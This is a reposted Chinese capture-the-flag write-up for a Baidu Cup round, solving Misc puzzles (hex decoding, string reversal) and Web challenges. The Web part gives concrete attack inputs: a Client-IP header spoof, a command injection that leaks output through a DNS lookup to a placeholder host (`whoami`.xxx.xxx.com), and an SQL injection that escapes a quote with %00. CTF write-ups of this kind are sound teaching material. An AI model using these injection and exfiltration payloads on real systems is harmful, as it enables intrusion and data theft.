百度杯十月第二周WriteUp【转】

百度杯第二场传送门~
0x00 Misc
1、传说中的签到题

小编保证这次是正常的签到题。
按例,继续调戏小i公众号
输入关键词“答案在哪里”
就能获得你想要的。
诺!扫码直接关注
(我是二维码.jpg)


这道题其实很坑(虽然我不想承认),如果你真的按着题干来,去调戏公众号;
那么恭喜你,跳坑成功;公众号只会回答你一句话,如下:

这个时候如果你还想像上周一样继续千百般调戏小i,那么恭喜阁下在踩坑的路上越走越远了;
正确的姿势,扫描二维码!

所以你知道答案是什么了吗??话说这道题坑连开车技术娴熟的小七表姐都跑来吐槽小编!!

对此,小编我只能表示 蓝瘦(deyi),香菇(henshuan)

2、challenge

666c61677b686578327374725f6368616c6c656e67657d


十六进制解码即可

3、剧情大反转

}~144_0t_em0c14w{galf


字符串反转即可,小编特地攻上代码;

[AppleScript] 纯文本查看 复制代码
1
2
3
sStr1 = '}~144_0t_em0c14w{galf'
sStr1 = sStr1[::-1]
print sStr1

0x01 Web
1、not found

访问题目抓包查看返回头
 
X-Method: haha
Method就是方法了 所以把GET方法换成HEAD OPTIONS POST试试看
OPTIONS方法返回了状态302

得到f参数 继续访问

 
读到代码但是flag.php index.php等都读不了
然后发现可以读取.htaccess文件

 

访问该HTML

构造xff为127.0.0.1失败 然后用client-ip 获取flag


2、EXEC
查看源代码
 

 
提示VIM
于是尝试下载备份文件 .index.php.swp

 
饶过很简单把11259375转成16进制 0xabcdef 会发现不会带1-9的任意一个数字
然后构造cmd参数执行命令就可以了PS: 图中的代码是我修改过的便于本地测试
这里原先是TCP是不允许的 但是做题的时候发现可以用curl 来反弹结果
后来写WP时发现又不行了 禁止了TCP 这样的话用UDP就可以了 典型的就是DNS回显数据了
用cmd=ping –c 1 `whoami`.xxx.xxx.com
可以回显出whoami信息
接着查看flag文件 cat flag233.php(备份文件里提示了flag233.php 上图本地测试代码中并没有 我给删除了)
这里需要分段获取 如下图 返回了截取的一部分flag结果
 

3、Vld
代码注释中提示了index.php.txt
查看
 

 

猜测需要获得 xxx.zip的真实文件名
这里有flag1 flag2 flag3 三个GET参数 下面接着有三个字符串 猜测是要挨个对应上去
当然有兴趣可以翻资料把代码还原 我这里直接猜测了后台逻辑

获取zip文件名并下载
 
Login.php部分代码
其中username被safe_data做了转义
接着有一段奇怪的替换操作
$username = trim(str_replace($number, ”, $username));
$number有是否为数字的判断
所以可以构造
Number=0&username=test%00’%23
Username经过转义变成test\0\’%23
然后替换操作 变成 test\\’%23
单引号逃逸出去
然后分段获取flag
Flag在flag表的flag字段

图片16.png (26.96 KB, 下载次数: 0)

下载附件  保存到相册

昨天 22:22 上传

 

此条目发表在未分类, 经验技术分类目录。将固定链接加入收藏夹。